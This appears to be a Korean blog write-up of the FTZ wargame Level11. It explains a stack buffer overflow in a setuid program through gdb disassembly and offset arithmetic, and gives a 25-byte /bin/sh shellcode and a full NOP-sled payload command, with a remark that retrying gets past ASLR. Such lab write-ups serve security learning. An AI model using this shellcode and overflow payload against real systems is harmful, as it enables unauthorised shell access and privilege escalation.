ii4gsp

FTZ - Level11 본문

시스템 해킹/FTZ

FTZ - Level11

ii4gsp 2020. 1. 7. 18:07

힌트를 보니 소스코드만 던져주었다.

 

 

 

 

디버깅을  하기위해 cp attackme /tmp명령어로 tmp폴더로 attackme파일을 복사해주고

gdb로 attackme를 열고 disas main을 해주면

str은 256바이트를 할당해주었는데 8바이트 dummy가 추가로 붙은것을 알수있다.

10진수 256은 16진수 0x100이다

<main+41>과 <main+48> 부분을 보면 0xfffffef8은 2진수로 1110 1111 1000인데 1의 보수를 구하면 0001 0000 0111이되고 2의 보수를 구해주면 +1이 되기때문에 264가 된다 ebp-264부터 입력값을 받는 것을 알 수 있다.

 

 

 

 

ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53에 break point를 걸고

ret에 넣을 주소를 구해보려한다.

243byte를 채워주기 위해 A를 대입하고 25Byte의 Shell Code는 B로 대입을 하고 A는 NOP(0x90), 4byte를 채운 C에는 ret의 크기 만큼 대입을 하여 x/256x $esp를 통하여 ret에 넣을 주소를 구하는 과정이다

A는 기계어로 0x41이다 0x41이 나오는시점인 0xbffff490 주소를 ret로 사용 할 것이다

25byte크기 shellcode를 사용할것이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

 

 

 

 

payload

./attackme $(python -c 'print "\x90" * 227 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90" * 16 + "\x10\xf7\xff\xbf"')

 

세그먼트 폴트가 일어나는 이유는 ASLR이란 기법을 지원하고 있기때문에 스택영역의 주소가 일정하지 않고  계속 변동이 있기 때문에 공격코드를 계속 입력해보면 쉘을 획득할수 있다.

'시스템 해킹 > FTZ' 카테고리의 다른 글

FTZ - Level15  (0) 2020.01.10
FTZ - Level14  (0) 2020.01.09
FTZ - Level13  (0) 2020.01.08
FTZ - Level12  (0) 2020.01.08
FTZ - Level9  (0) 2020.01.06
Comments